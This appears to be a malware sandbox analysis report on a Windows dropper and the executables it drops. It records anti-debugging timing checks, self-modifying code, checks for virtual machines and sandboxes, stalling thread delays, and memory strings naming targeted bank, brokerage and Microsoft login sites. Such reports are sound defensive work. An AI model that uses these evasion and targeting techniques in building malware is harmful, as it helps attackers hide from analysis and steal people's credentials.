Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 51707A2 second address: 51707A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Special instruction interceptor: First address: 54E863 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Special instruction interceptor: First address: 54E913 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Special instruction interceptor: First address: 6F4893 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Special instruction interceptor: First address: 54C004 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Special instruction interceptor: First address: 77B6B9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F4E863 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F4E913 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 10F4893 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F4C004 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 117B6B9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Special instruction interceptor: First address: 45BC83 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Special instruction interceptor: First address: 45BB80 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Special instruction interceptor: First address: 62571D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Special instruction interceptor: First address: 45BB86 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Special instruction interceptor: First address: 60E561 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Special instruction interceptor: First address: 696939 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Special instruction interceptor: First address: D8EB9A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Special instruction interceptor: First address: F67D80 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Special instruction interceptor: First address: F41B6B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Special instruction interceptor: First address: FC9DBF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Special instruction interceptor: First address: E49C45 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Special instruction interceptor: First address: 1012989 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Special instruction interceptor: First address: 107A84B instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Memory allocated: 1480000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Memory allocated: 1B3F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Memory allocated: 2880000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Memory allocated: 2AE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Memory allocated: 2880000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\UWYXurYZ2x.exe

Code function: 1_2_05170D0C rdtsc

1_2_05170D0C

Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1364	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1269	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1350	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1256	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1275	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Window / User API: threadDelayed 5192	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Window / User API: threadDelayed 4582	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Window / User API: threadDelayed 359
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 882
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 708
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 576
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 669
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 471
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 747
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 532
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 804
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 593

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1039131001\eb15c414be.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[2].exe			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe

API coverage: 7.8 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3580	Thread sleep count: 57 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3580	Thread sleep time: -114057s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6380	Thread sleep count: 1364 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6380	Thread sleep time: -2729364s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6036	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7232	Thread sleep count: 217 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7232	Thread sleep time: -6510000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2012	Thread sleep count: 1269 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2012	Thread sleep time: -2539269s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6680	Thread sleep count: 1350 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6680	Thread sleep time: -2701350s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7160	Thread sleep count: 1256 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7160	Thread sleep time: -2513256s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1664	Thread sleep count: 1275 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1664	Thread sleep time: -2551275s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe TID: 2332	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe TID: 4260	Thread sleep time: -25825441703193356s >= -30000s	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 7692	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe TID: 6552	Thread sleep count: 359 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6540	Thread sleep count: 882 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 504	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6488	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2516	Thread sleep count: 708 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7416	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6028	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6068	Thread sleep count: 576 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2404	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4236	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7388	Thread sleep count: 669 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8040	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6308	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6180	Thread sleep count: 471 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5600	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4252	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7136	Thread sleep count: 747 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7180	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7016	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4328	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2092	Thread sleep count: 532 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7008	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7872	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3876	Thread sleep count: 804 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6580	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7184	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4516	Thread sleep count: 593 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5248	Thread sleep time: -3689348814741908s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: skotes.exe, skotes.exe, 00000005.00000002.2644544870.00000000010D3000.00000040.00000001.01000000.00000007.sdmp, bKIFsVe.exe, 00000016.00000002.2630120900.00000000005D9000.00000040.00000001.01000000.00000012.sdmp, b2ee16741f.exe, 0000002F.00000002.2630088960.0000000000F18000.00000040.00000001.01000000.00000014.sdmp, fe4d890d0f.exe, 00000039.00000002.2644819582.0000000000FCD000.00000040.00000001.01000000.00000017.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 5f6d06eefa.exe, 00000017.00000002.2421604922.0000000000792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}/
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: bKIFsVe.exe, 00000016.00000002.2647181801.0000000000B89000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW#E
Source: fe4d890d0f.exe, 00000039.00000002.2632243896.0000000000998000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: skotes.exe, 00000005.00000002.2631568166.0000000000668000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.2631568166.000000000069B000.00000004.00000020.00020000.00000000.sdmp, usPaQ3D.exe, 0000000B.00000002.2853605999.000000001BD14000.00000004.00000020.00020000.00000000.sdmp, usPaQ3D.exe, 0000000B.00000002.2905174182.000000001BEEC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372938288.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2384897163.0000000002691000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, bKIFsVe.exe, 00000016.00000002.2647181801.0000000000B89000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000033.00000002.2650956296.0000023ED2055000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: oavvDqT.exe, 00000009.00000002.2357909326.0000000001928000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll&
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: HNsLLEj.exe, 00000011.00000002.2338321531.0000000009BB1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlla2S?
Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: VirtualMachine:
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: bKIFsVe.exe, 00000016.00000002.2647181801.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: oldVNC.exe, 0000000D.00000002.2629749935.0000000000BDE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll:
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: vmware
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: VMwareVBoxAAntiAnalysis : Hosting detected!AAntiAnalysis : Process detected!QAntiAnalysis : Virtual machine detected!AAntiAnalysis : SandBox detected!CAntiAnalysis : Debugger detected!
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: UWYXurYZ2x.exe, 00000001.00000002.1424525248.00000000006D3000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.1464476989.00000000010D3000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.1467486914.00000000010D3000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000005.00000002.2644544870.00000000010D3000.00000040.00000001.01000000.00000007.sdmp, bKIFsVe.exe, 00000016.00000002.2630120900.00000000005D9000.00000040.00000001.01000000.00000012.sdmp, b2ee16741f.exe, 0000002F.00000002.2630088960.0000000000F18000.00000040.00000001.01000000.00000014.sdmp, fe4d890d0f.exe, 00000039.00000002.2644819582.0000000000FCD000.00000040.00000001.01000000.00000017.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
